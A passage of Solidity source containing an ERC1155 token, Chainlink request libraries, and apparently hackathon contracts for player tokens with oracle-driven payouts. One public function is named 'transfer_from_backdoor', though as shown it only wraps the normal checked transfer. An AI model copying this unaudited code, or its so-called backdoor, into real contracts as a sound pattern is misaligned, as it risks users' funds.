with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } library BufferChainlink { /** * @dev Represents a mutable buffer. Buffers have a current value (buf) and * a capacity. The capacity may be longer than the current value, in * which case it can be extended without the need to allocate more memory. */ struct buffer { bytes buf; uint capacity; } /** * @dev Initializes a buffer with an initial capacity. * @param buf The buffer to initialize. * @param capacity The number of bytes of space to allocate the buffer. * @return The buffer, for chaining. */ function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) { if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(32, add(ptr, capacity))) } return buf; } /** * @dev Initializes a new buffer from an existing bytes object. * Changes to the buffer may mutate the original value. * @param b The bytes object to initialize the buffer with. * @return A new buffer. */ function fromBytes(bytes memory b) internal pure returns(buffer memory) { buffer memory buf; buf.buf = b; buf.capacity = b.length; return buf; } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if (a > b) { return a; } return b; } /** * @dev Sets buffer length to 0. * @param buf The buffer to truncate. * @return The original buffer, for chaining.. */ function truncate(buffer memory buf) internal pure returns (buffer memory) { assembly { let bufptr := mload(buf) mstore(bufptr, 0) } return buf; } /** * @dev Writes a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The start offset to write to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) { require(len <= data.length); if (off + len > buf.capacity) { resize(buf, max(buf.capacity, len + off) * 2); } uint dest; uint src; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + offset + sizeof(buffer length) dest := add(add(bufptr, 32), off) // Update buffer length if we're extending it if gt(add(len, off), buflen) { mstore(bufptr, add(len, off)) } src := add(data, 32) } // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data, uint len) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, len); } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, data.length); } /** * @dev Writes a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write the byte at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) { if (off >= buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + sizeof(buffer length) + off let dest := add(add(bufptr, off), 32) mstore8(dest, data) // Update buffer length if we extended it if eq(off, buflen) { mstore(bufptr, add(buflen, 1)) } } return buf; } /** * @dev Appends a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) { return writeUint8(buf, buf.buf.length, data); } /** * @dev Writes up to 32 bytes to the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (left-aligned). * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; // Right-align data data = data >> (8 * (32 - len)); assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + sizeof(buffer length) + off + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) { return write(buf, off, bytes32(data), 20); } /** * @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chhaining. */ function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, bytes32(data), 20); } /** * @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, 32); } /** * @dev Writes an integer to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (right-aligned). * @return The original buffer, for chaining. */ function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + off + sizeof(buffer length) + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { return writeInt(buf, buf.buf.length, data, len); } } library CBORChainlink { using BufferChainlink for BufferChainlink.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_TAG = 6; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; uint8 private constant TAG_TYPE_BIGNUM = 2; uint8 private constant TAG_TYPE_NEGATIVE_BIGNUM = 3; function encodeType(BufferChainlink.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.appendUint8(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.appendUint8(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.appendUint8(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.appendUint8(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.appendUint8(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(BufferChainlink.buffer memory buf, uint8 major) private pure { buf.appendUint8(uint8((major << 5) | 31)); } function encodeUInt(BufferChainlink.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(BufferChainlink.buffer memory buf, int value) internal pure { if(value < -0x10000000000000000) { encodeSignedBigNum(buf, value); } else if(value > 0xFFFFFFFFFFFFFFFF) { encodeBigNum(buf, value); } else if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(BufferChainlink.buffer memory buf, bytes memory value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeBigNum(BufferChainlink.buffer memory buf, int value) internal pure { buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_BIGNUM)); encodeBytes(buf, abi.encode(uint(value))); } function encodeSignedBigNum(BufferChainlink.buffer memory buf, int input) internal pure { buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_NEGATIVE_BIGNUM)); encodeBytes(buf, abi.encode(uint(-1 - input))); } function encodeString(BufferChainlink.buffer memory buf, string memory value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /** * @title Library for common Chainlink functions * @dev Uses imported CBOR library for encoding to buffer */ library Chainlink { uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase using CBORChainlink for BufferChainlink.buffer; struct Request { bytes32 id; address callbackAddress; bytes4 callbackFunctionId; uint256 nonce; BufferChainlink.buffer buf; } /** * @notice Initializes a Chainlink request * @dev Sets the ID, callback address, and callback function signature on the request * @param self The uninitialized request * @param _id The Job Specification ID * @param _callbackAddress The callback address * @param _callbackFunction The callback function signature * @return The initialized request */ function initialize( Request memory self, bytes32 _id, address _callbackAddress, bytes4 _callbackFunction ) internal pure returns (Chainlink.Request memory) { BufferChainlink.init(self.buf, defaultBufferSize); self.id = _id; self.callbackAddress = _callbackAddress; self.callbackFunctionId = _callbackFunction; return self; } /** * @notice Sets the data for the buffer without encoding CBOR on-chain * @dev CBOR can be closed with curly-brackets {} or they can be left off * @param self The initialized request * @param _data The CBOR data */ function setBuffer(Request memory self, bytes memory _data) internal pure { BufferChainlink.init(self.buf, _data.length); BufferChainlink.append(self.buf, _data); } /** * @notice Adds a string value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The string value to add */ function add(Request memory self, string memory _key, string memory _value) internal pure { self.buf.encodeString(_key); self.buf.encodeString(_value); } /** * @notice Adds a bytes value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The bytes value to add */ function addBytes(Request memory self, string memory _key, bytes memory _value) internal pure { self.buf.encodeString(_key); self.buf.encodeBytes(_value); } /** * @notice Adds a int256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The int256 value to add */ function addInt(Request memory self, string memory _key, int256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeInt(_value); } /** * @notice Adds a uint256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The uint256 value to add */ function addUint(Request memory self, string memory _key, uint256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeUInt(_value); } /** * @notice Adds an array of strings to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _values The array of string values to add */ function addStringArray(Request memory self, string memory _key, string[] memory _values) internal pure { self.buf.encodeString(_key); self.buf.startArray(); for (uint256 i = 0; i < _values.length; i++) { self.buf.encodeString(_values[i]); } self.buf.endSequence(); } } interface ENSInterface { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address _owner) external; function setResolver(bytes32 node, address _resolver) external; function setOwner(bytes32 node, address _owner) external; function setTTL(bytes32 node, uint64 _ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } interface ChainlinkRequestInterface { function oracleRequest( address sender, uint256 requestPrice, bytes32 serviceAgreementID, address callbackAddress, bytes4 callbackFunctionId, uint256 nonce, uint256 dataVersion, bytes calldata data ) external; function cancelOracleRequest( bytes32 requestId, uint256 payment, bytes4 callbackFunctionId, uint256 expiration ) external; } interface PointerInterface { function getAddress() external view returns (address); } abstract contract ENSResolver_Chainlink { function addr(bytes32 node) public view virtual returns (address); } /** * @title The ChainlinkClient contract * @notice Contract writers can inherit this contract in order to create requests for the * Chainlink network */ contract ChainlinkClient { using Chainlink for Chainlink.Request; uint256 constant internal LINK = 10**18; uint256 constant private AMOUNT_OVERRIDE = 0; address constant private SENDER_OVERRIDE = address(0); uint256 constant private ARGS_VERSION = 1; bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link"); bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle"); address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571; ENSInterface private ens; bytes32 private ensNode; LinkTokenInterface private link; ChainlinkRequestInterface private oracle; uint256 private requestCount = 1; mapping(bytes32 => address) private pendingRequests; event ChainlinkRequested(bytes32 indexed id); event ChainlinkFulfilled(bytes32 indexed id); event ChainlinkCancelled(bytes32 indexed id); /** * @notice Creates a request that can hold additional parameters * @param _specId The Job Specification ID that the request will be created for * @param _callbackAddress The callback address that the response will be sent to * @param _callbackFunctionSignature The callback function signature to use for the callback address * @return A Chainlink Request struct in memory */ function buildChainlinkRequest( bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionSignature ) internal pure returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev Calls `chainlinkRequestTo` with the stored oracle address * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return requestId The request ID */ function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32) { return sendChainlinkRequestTo(address(oracle), _req, _payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param _oracle The address of the oracle for the request * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return requestId The request ID */ function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32 requestId) { requestId = keccak256(abi.encodePacked(this, requestCount)); _req.nonce = requestCount; pendingRequests[requestId] = _oracle; emit ChainlinkRequested(requestId); require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle"); requestCount += 1; return requestId; } /** * @notice Allows a request to be cancelled if it has not been fulfilled * @dev Requires keeping track of the expiration value emitted from the oracle contract. * Deletes the request from the `pendingRequests` mapping. * Emits ChainlinkCancelled event. * @param _requestId The request ID * @param _payment The amount of LINK sent for the request * @param _callbackFunc The callback function specified for the request * @param _expiration The time of the expiration for the request */ function cancelChainlinkRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) internal { ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]); delete pendingRequests[_requestId]; emit ChainlinkCancelled(_requestId); requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration); } /** * @notice Sets the stored oracle address * @param _oracle The address of the oracle contract */ function setChainlinkOracle(address _oracle) internal { oracle = ChainlinkRequestInterface(_oracle); } /** * @notice Sets the LINK token address * @param _link The address of the LINK token contract */ function setChainlinkToken(address _link) internal { link = LinkTokenInterface(_link); } /** * @notice Sets the Chainlink token address for the public * network as given by the Pointer contract */ function setPublicChainlinkToken() internal { setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress()); } /** * @notice Retrieves the stored address of the LINK token * @return The address of the LINK token */ function chainlinkTokenAddress() internal view returns (address) { return address(link); } /** * @notice Retrieves the stored address of the oracle contract * @return The address of the oracle contract */ function chainlinkOracleAddress() internal view returns (address) { return address(oracle); } /** * @notice Allows for a request which was created on another contract to be fulfilled * on this contract * @param _oracle The address of the oracle contract that will fulfill the request * @param _requestId The request ID used for the response */ function addChainlinkExternalRequest(address _oracle, bytes32 _requestId) internal notPendingRequest(_requestId) { pendingRequests[_requestId] = _oracle; } /** * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS * @dev Accounts for subnodes having different resolvers * @param _ens The address of the ENS contract * @param _node The ENS node hash */ function useChainlinkWithENS(address _ens, bytes32 _node) internal { ens = ENSInterface(_ens); ensNode = _node; bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME)); ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(linkSubnode)); setChainlinkToken(resolver.addr(linkSubnode)); updateChainlinkOracleWithENS(); } /** * @notice Sets the stored oracle contract with the address resolved by ENS * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously */ function updateChainlinkOracleWithENS() internal { bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME)); ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(oracleSubnode)); setChainlinkOracle(resolver.addr(oracleSubnode)); } /** * @notice Encodes the request to be sent to the oracle contract * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types * will be validated in the oracle contract. * @param _req The initialized Chainlink Request * @return The bytes payload for the `transferAndCall` method */ function encodeRequest(Chainlink.Request memory _req) private view returns (bytes memory) { return abi.encodeWithSelector( oracle.oracleRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent _req.id, _req.callbackAddress, _req.callbackFunctionId, _req.nonce, ARGS_VERSION, _req.buf.buf); } /** * @notice Ensures that the fulfillment is valid for this contract * @dev Use if the contract developer prefers methods instead of modifiers for validation * @param _requestId The request ID for fulfillment */ function validateChainlinkCallback(bytes32 _requestId) internal recordChainlinkFulfillment(_requestId) // solhint-disable-next-line no-empty-blocks {} /** * @dev Reverts if the sender is not the oracle of the request. * Emits ChainlinkFulfilled event. * @param _requestId The request ID for fulfillment */ modifier recordChainlinkFulfillment(bytes32 _requestId) { require(msg.sender == pendingRequests[_requestId], "Source must be the oracle of the request"); delete pendingRequests[_requestId]; emit ChainlinkFulfilled(_requestId); _; } /** * @dev Reverts if the request is already pending * @param _requestId The request ID for fulfillment */ modifier notPendingRequest(bytes32 _requestId) { require(pendingRequests[_requestId] == address(0), "Request is already pending"); _; } } contract LTokens is ERC1155 { mapping (uint => address) public maxOwners; constructor() public ERC1155("http://hax.hacker.af:5000/player_sft_metadata/{id}") { // FTs _mint(msg.sender, 0, 69, ""); _mint(msg.sender, 1, 69, ""); _mint(msg.sender, 2, 69, ""); _mint(msg.sender, 3, 69, ""); _mint(msg.sender, 4, 69, ""); _mint(msg.sender, 5, 69, ""); _mint(msg.sender, 6, 69, ""); _mint(msg.sender, 7, 69, ""); _mint(msg.sender, 8, 69, ""); _mint(msg.sender, 9, 69, ""); // NFTs _mint(msg.sender, 10, 1, ""); _mint(msg.sender, 11, 1, ""); _mint(msg.sender, 12, 1, ""); _mint(msg.sender, 13, 1, ""); _mint(msg.sender, 14, 1, ""); _mint(msg.sender, 15, 1, ""); _mint(msg.sender, 16, 1, ""); _mint(msg.sender, 17, 1, ""); _mint(msg.sender, 18, 1, ""); _mint(msg.sender, 19, 1, ""); } function transfer_from_backdoor(address from, address to, uint256 entityId ,uint256 value) public { safeTransferFrom(from, to, entityId, value, ""); } // ISHAN adds max owner calculations during transfer } contract OffchainConsumer is ChainlinkClient { //mapping (string => uint256) public playerToPpg; mapping (bytes32 => address) public jobIdMapping; address public owner; address private nba_ORACLE; bytes32 private nba_JOBID; uint256 private fee; constructor() public { // setPublicChainlinkToken(); nba_ORACLE = 0x2f90A6D021db21e1B2A077c5a37B3C7E75D15b7e; nba_JOBID = "29fa9aa13bf1468788b7cc4a500a45b8"; fee = 0.1 * 10 ** 18; // 0.1 LINK owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // for now, grabbing top performers of season, later grabbing top performers only of the past week! function requestDividendWorthyEntities(string memory request_uri) public onlyOwner { Chainlink.Request memory request = buildChainlinkRequest(nba_JOBID, address(this), this.fulfill.selector); // Set the URL to perform the request on request.add("get", request_uri); request.add("path", "to_send"); bytes32 reqID = sendChainlinkRequestTo(nba_ORACLE, request, fee); jobIdMapping[reqID] = msg.sender; } function fulfill(bytes32 reqID, uint256 payout) public recordChainlinkFulfillment(reqID) { require(jobIdMapping[reqID] != address(0x0)); payable(jobIdMapping[reqID]).transfer(payout); jobIdMapping[reqID] = address(0x0); //payout to jobIdMapping[randomID] } } contract MainManager is OffchainConsumer { LTokens public token; bool seasonStarted; bool seasonEnded; //uint256 public constant buyPrice = 0.01 ether; uint256 public constant weekPeriod = 7 days; uint256 public constant numEntities = 10; address public constant garbo = 0x021DA59C0Ab1A2e988F30A381E6e57B0E6047071; uint[] tokensOwned; uint[] amounts; uint256 auctionEndDate; // for now, let auctionEndDate be seasonStartDate uint256 lastWeekDividendFund; uint256 currWeekDividendFund; uint256 currWeekStart; address[] shareholders; mapping (uint256 => uint) public entityToPublicShareAmount; mapping (address => uint256) public lastDividendWithdrawn; uint[] topEntitiesPastWeek; modifier auctionOngoing() { require(block.timestamp < auctionEndDate); _; } modifier auctionEnded() { require(block.timestamp > auctionEndDate); _; } modifier hasSeasonNotStarted() { 